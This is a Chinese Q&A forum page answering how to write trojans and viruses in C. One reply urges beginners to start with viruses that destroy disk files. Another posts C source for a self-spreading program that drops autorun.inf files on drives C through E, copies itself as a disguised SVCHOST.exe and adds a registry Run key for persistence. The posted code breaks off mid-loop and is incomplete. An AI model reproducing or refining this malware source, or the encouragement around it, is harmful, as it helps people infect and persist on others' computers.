永发信息网

怎么用C语言编写木马.病毒等程序

答案:4  悬赏:10  手机版
解决时间 2021-03-19 09:02
精选

最佳答案
C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。
编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。
C语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。
如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具)
编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。
现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等
全部回答
木马病毒是什么? 其实就是一段程序```只是它所做的事对正常用户来说不太合法``` 就好比人一样```好人做好事```坏人做坏事```
只要你会了C语言,就可以先试着写一些简单的病毒,如破坏磁盘中的文件,让系统中特定的程序不能运行等,慢慢来,你会学会的,各种语言写病毒其实都是这么一回事
嘿嘿给你个类病毒C程序源码,看下方法吧 #define SVCHOST_NUM 6 #include #include char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"}; char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"}; char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL", "c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe", "c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"}; char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f"; int copy(char *infile,char *outfile) { FILE *input,*output; char temp; if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen (outfile,"wb"))!=NULL)) { while(!feof(input)) { fread(&temp,1,1,input); fwrite(&temp,1,1,output); } fclose(input); fclose(output); return 0; } else return 1; } int main(void) { FILE *input,*output; int i,k; for(i=0;i<3;i++) { output=fopen(files_autorun[i],"w"); fprintf(output,"%s",autorun); fclose(output); } for(i=0;i<=SVCHOST_NUM;i++) { if((input=fopen(files_svchost[i],"rb"))!=NULL) { fclose(input); for(k=0;k
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
推荐资讯